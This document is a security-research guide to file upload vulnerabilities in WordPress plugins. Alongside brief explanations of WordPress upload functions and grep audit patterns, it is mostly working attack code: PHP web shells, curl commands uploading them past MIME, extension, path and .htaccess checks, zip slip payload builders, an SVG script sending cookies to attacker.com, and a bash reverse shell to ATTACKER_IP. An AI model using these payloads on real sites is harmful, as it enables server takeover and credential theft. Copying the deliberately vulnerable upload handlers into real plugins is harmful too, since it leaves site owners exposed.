WordPress File Upload Vulnerabilities
File upload vulnerabilities in WordPress plugins can lead to remote code execution, stored XSS, or server-side request forgery. Understanding how WordPress validates uploads and the common bypass techniques is essential for security research.
WordPress Upload Architecture
WordPress handles file uploads through a multi-layer system:
wp_handle_upload()- Main entry point for upload handlingwp_check_filetype()- Extension-based type detectionwp_check_filetype_and_ext()- Extension + content-based detectionwp_unique_filename()- Filename collision preventionsanitize_file_name()- Filename sanitization
Files are stored in wp-content/uploads/YYYY/MM/ by default.
wp_handle_upload() Internals
// Typical plugin usage
function handle_plugin_upload() {
if ( ! function_exists( 'wp_handle_upload' ) ) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
$upload_overrides = [
'test_form' => false, // Disable nonce check in handle_upload
'test_type' => true, // Enable MIME type checking
];
$result = wp_handle_upload( $_FILES['upload_file'], $upload_overrides );
if ( isset( $result['error'] ) ) {
wp_send_json_error( $result['error'] );
}
// $result contains: file (path), url, type
wp_send_json_success([
'url' => $result['url'],
'path' => $result['file'],
'type' => $result['type'],
]);
}
The test_form parameter is critical. When set to false, it disables the nonce check inside wp_handle_upload. Plugins that set this without an external nonce check are vulnerable to CSRF-based file uploads.
wp_check_filetype and Extension Validation
// WordPress checks extensions against an allowlist
$allowed_types = wp_get_mime_types();
// Returns array like: ['jpg|jpeg|jpe' => 'image/jpeg', 'png' => 'image/png', ...]
// wp_check_filetype returns
$check = wp_check_filetype( 'shell.php' );
// Returns: ['ext' => false, 'type' => false]
$check = wp_check_filetype( 'image.jpg' );
// Returns: ['ext' => 'jpg', 'type' => 'image/jpeg']
wp_check_filetype_and_ext() is more thorough - it also examines the actual file content using finfo or the getimagesize() function for images. However, this only validates the file header bytes, not the entire content.
Grep Patterns for Upload Vulnerabilities
PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"
# Find upload handling code
grep -rn "wp_handle_upload\|move_uploaded_file\|\$_FILES" "$PLUGIN_DIR" --include="*.php" -n
# Find places where test_type or test_form is disabled
grep -rn "test_type.*false\|test_form.*false" "$PLUGIN_DIR" --include="*.php" -n
# Find custom MIME type filters (potential bypass)
grep -rn "upload_mimes\|ext2type" "$PLUGIN_DIR" --include="*.php" -n
# Find direct file writing
grep -rn "file_put_contents\|fwrite\|copy(" "$PLUGIN_DIR" --include="*.php" -n | \
grep -v "//\|#"
# Find upload handlers without authentication
grep -rn "wp_ajax_nopriv.*upload\|upload.*wp_ajax_nopriv" "$PLUGIN_DIR" --include="*.php" -n
# Find move_uploaded_file (bypasses WordPress validation entirely)
grep -rn "move_uploaded_file" "$PLUGIN_DIR" --include="*.php" -n
# Find path traversal risks in upload destinations
grep -rn "upload_dir\|UPLOAD\|wp_upload_dir" "$PLUGIN_DIR" --include="*.php" -A5 | \
grep "\$_POST\|\$_GET\|\$_REQUEST\|user_id\|folder\|path\|dir"
Common Upload Vulnerabilities
Vulnerability 1: Missing File Type Validation
// VULNERABLE: No type validation whatsoever
add_action( 'wp_ajax_upload_avatar', 'upload_avatar_handler' );
add_action( 'wp_ajax_nopriv_upload_avatar', 'upload_avatar_handler' );
function upload_avatar_handler() {
$upload_dir = wp_upload_dir();
$file = $_FILES['avatar'];
$target = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_success([ 'url' => $upload_dir['url'] . '/' . basename($file['name']) ]);
}
}
# Upload PHP shell directly
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_avatar' \
-F 'avatar=@/tmp/shell.php;type=image/jpeg'
# Shell content
cat > /tmp/shell.php << 'EOF'
<?php echo shell_exec($_GET['cmd']); ?>
EOF
Vulnerability 2: MIME Type Bypass
The most common: trusting $_FILES['type'] (client-provided MIME type):
// VULNERABLE: Checks client-supplied MIME type
function vulnerable_upload() {
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
$type = $_FILES['upload']['type']; // ATTACKER CONTROLS THIS
if ( ! in_array( $type, $allowed ) ) {
wp_send_json_error( 'Invalid file type' );
}
move_uploaded_file( $_FILES['upload']['tmp_name'], $destination );
}
# Bypass: set Content-Type to image/jpeg while uploading PHP
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=vulnerable_upload' \
-F 'upload=@/tmp/shell.php;type=image/jpeg'
# The ;type=image/jpeg overrides the MIME type in the multipart form
Vulnerability 3: Extension Bypass Techniques
When the plugin checks the extension but improperly:
// VULNERABLE: Case-insensitive bypass not handled, double extension not handled
function check_extension( $filename ) {
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
return in_array( $ext, $allowed );
}
// "shell.PHP" -> ext = "PHP" -> not in allowlist, BLOCKED
// But some servers are case-insensitive...
// "shell.php.jpg" -> ext = "jpg" -> PASSES check
// If Apache has AddHandler, .php.jpg may execute as PHP
// "shell.php%00.jpg" -> null byte truncation (PHP < 5.3.4)
// Results in "shell.php" being written
# Double extension bypass
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_file' \
-F 'file=@/tmp/shell.php;filename=shell.php.jpg;type=image/jpeg'
# Test if PHP executes (Apache may have AddHandler for .php in .php.jpg)
curl -s 'https://target.example.com/wp-content/uploads/2024/01/shell.php.jpg?cmd=id'
Vulnerability 4: Unrestricted Upload Path
When user controls the upload directory:
// VULNERABLE: User controls upload subfolder
function upload_to_folder() {
check_ajax_referer( 'upload_nonce' );
if ( ! current_user_can( 'upload_files' ) ) {
wp_die( 'Unauthorized' );
}
$folder = sanitize_text_field( $_POST['folder'] ); // Sanitized but still dangerous
$uploads = wp_upload_dir();
$target = $uploads['basedir'] . '/' . $folder;
// Path traversal: folder = "../../themes/twentytwenty/"
// sanitize_text_field does NOT prevent ../
wp_mkdir_p( $target );
move_uploaded_file( $_FILES['file']['tmp_name'], $target . '/' . $_FILES['file']['name'] );
}
# Path traversal to write to theme directory
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_to_folder' \
-F 'nonce=NONCE' \
-F 'folder=../../themes/twentytwenty' \
-F 'file=@/tmp/shell.php;filename=evil.php;type=image/jpeg'
Vulnerability 5: .htaccess Upload
If the plugin allows uploading .htaccess files or similar server config:
# Create malicious .htaccess
cat > /tmp/.htaccess << 'EOF'
AddType application/x-httpd-php .jpg
EOF
# Upload .htaccess to uploads directory
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_file' \
-F 'file=@/tmp/.htaccess;filename=.htaccess;type=text/plain'
# Now upload a PHP shell as .jpg
cat > /tmp/shell.jpg << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_file' \
-F 'file=@/tmp/shell.jpg;type=image/jpeg'
# Execute
curl -s 'https://target.example.com/wp-content/uploads/shell.jpg?cmd=id'
Vulnerability 6: SVG XSS
WordPress blocks SVG uploads by default, but many plugins re-enable them:
// Plugin re-enables SVG uploads
add_filter( 'upload_mimes', function( $mimes ) {
$mimes['svg'] = 'image/svg+xml';
return $mimes;
});
# Create XSS SVG payload
cat > /tmp/xss.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
<script>
document.location='https://attacker.com/steal?c='+document.cookie;
</script>
</svg>
EOF
# Upload SVG
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_media' \
-F 'async-upload=@/tmp/xss.svg;type=image/svg+xml' \
-F 'name=xss.svg'
# If admin visits the SVG URL directly, XSS fires in admin context
Vulnerability 7: Zip Slip
Plugins that extract ZIP archives without path validation:
// VULNERABLE: Extracts ZIP without checking paths
function extract_zip( $zip_path, $extract_to ) {
$zip = new ZipArchive();
if ( $zip->open( $zip_path ) === TRUE ) {
$zip->extractTo( $extract_to ); // No path traversal check!
$zip->close();
}
}
Creating a Zip Slip payload:
# Create zip with path traversal entry
python3 << 'EOF'
import zipfile
import os
with zipfile.ZipFile('/tmp/zipslip.zip', 'w') as zf:
# Write a PHP shell to traverse out of the target directory
zf.writestr('../../themes/twentytwenty/evil.php', '<?php system($_GET["cmd"]); ?>')
print("Created zipslip.zip")
EOF
# Upload the malicious ZIP
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=upload_zip' \
-F 'nonce=NONCE' \
-F 'zipfile=@/tmp/zipslip.zip;type=application/zip'
sanitize_file_name Analysis
sanitize_file_name() performs these transformations:
// Removes special characters
// Converts to lowercase on some configurations
// Replaces spaces with dashes
// Strips non-ASCII characters
// Removes null bytes
// DOES NOT protect against:
// - Double extensions (shell.php.jpg)
// - Legitimate-looking but dangerous names on Apache (shell.php5, shell.phtml)
// - Directory separators (on some platforms)
# Test what sanitize_file_name does to various payloads
# (Use WP-CLI or a test install)
wp eval 'echo sanitize_file_name("shell.php") . "\n";' # shell.php - UNCHANGED!
wp eval 'echo sanitize_file_name("shell.PHP") . "\n";' # shell.PHP or shell.php
wp eval 'echo sanitize_file_name("shell.php.jpg") . "\n";' # shell.php_.jpg on some
wp eval 'echo sanitize_file_name("../../../etc/passwd") . "\n";' # etc/passwd (strips ../)
# In WordPress, sanitize_file_name KEEPS the .php extension!
# Extension blocking must be done separately
Testing Upload Endpoints with curl
Standard Multipart Upload
TARGET="https://target.example.com"
# Basic file upload test
curl -s -b /tmp/wp_cookies.txt -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-F 'action=upload_file' \
-F 'nonce=EXTRACTED_NONCE' \
-F 'file=@/path/to/test.jpg' \
-v 2>&1 | grep -E "< HTTP|url|file|error"
# Upload with custom filename
curl -s -b /tmp/wp_cookies.txt -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-F 'action=upload_file' \
-F 'nonce=EXTRACTED_NONCE' \
-F 'file=@/tmp/test.jpg;filename=custom_name.jpg'
# Upload WordPress media via REST API
curl -s -u 'admin:password' -X POST \
"$TARGET/wp-json/wp/v2/media" \
-H 'Content-Disposition: attachment; filename=test.jpg' \
-H 'Content-Type: image/jpeg' \
--data-binary @/tmp/test.jpg
Testing MIME Bypass
#!/bin/bash
TARGET="https://target.example.com"
ACTION="upload_file"
NONCE="EXTRACTED_NONCE"
# Create a PHP file with JPEG magic bytes
python3 << 'EOF'
# JPEG magic bytes: FF D8 FF E0
with open('/tmp/shell_with_jpeg_header.php', 'wb') as f:
f.write(b'\xff\xd8\xff\xe0') # JPEG header
f.write(b'\n<?php system($_GET["cmd"]); ?>\n')
EOF
# Upload with image MIME type
curl -s -b /tmp/wp_cookies.txt -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=$ACTION" \
-F "nonce=$NONCE" \
-F 'file=@/tmp/shell_with_jpeg_header.php;filename=image.php;type=image/jpeg'
Testing for Zip Slip via WordPress Media Upload
# Generate zip slip via Python
python3 << 'EOF'
import zipfile
malicious = zipfile.ZipFile('/tmp/malicious.zip', 'w')
# The path traversal name
info = zipfile.ZipInfo('../../../../var/www/html/wp-content/uploads/evil.php')
malicious.writestr(info, '<?php system($_GET["c"]); ?>')
malicious.close()
print("Zip slip payload created")
EOF
curl -s -b /tmp/wp_cookies.txt -X POST \
'https://target.example.com/wp-admin/admin-ajax.php' \
-F 'action=import_file' \
-F 'nonce=NONCE' \
-F 'import=@/tmp/malicious.zip;type=application/zip'
Checking if Uploaded Shells Execute
UPLOAD_URL="https://target.example.com/wp-content/uploads/2024/01/shell.php"
# Basic execution check
curl -s "$UPLOAD_URL?cmd=id"
curl -s "$UPLOAD_URL?cmd=whoami"
curl -s "$UPLOAD_URL?cmd=cat+/etc/passwd"
# If shell is PHP system() based
curl -s "$UPLOAD_URL?cmd=ls+-la+/var/www/html/"
# Reverse shell trigger
curl -s "$UPLOAD_URL?cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261"
# Check if directory listing is available (sometimes faster than shell)
curl -s 'https://target.example.com/wp-content/uploads/2024/01/' | \
grep -oP 'href="[^"]*\.php[^"]*"'
Defense Mechanisms and How to Test Them
# Check if uploads directory has PHP execution blocked
curl -s -o /dev/null -w "%{http_code}" \
'https://target.example.com/wp-content/uploads/test.php'
# 403 = .htaccess blocks execution (standard WordPress protection)
# 404 = file doesn't exist
# 200 = PHP MAY execute (test with actual PHP file)
# Check .htaccess in uploads directory
curl -s 'https://target.example.com/wp-content/uploads/.htaccess'
# Standard WordPress uploads .htaccess:
# deny from all
# <Files ~ "^.*\.(jpe?g|gif|png|webp|svg|mp4)$">
# allow from all
# </Files>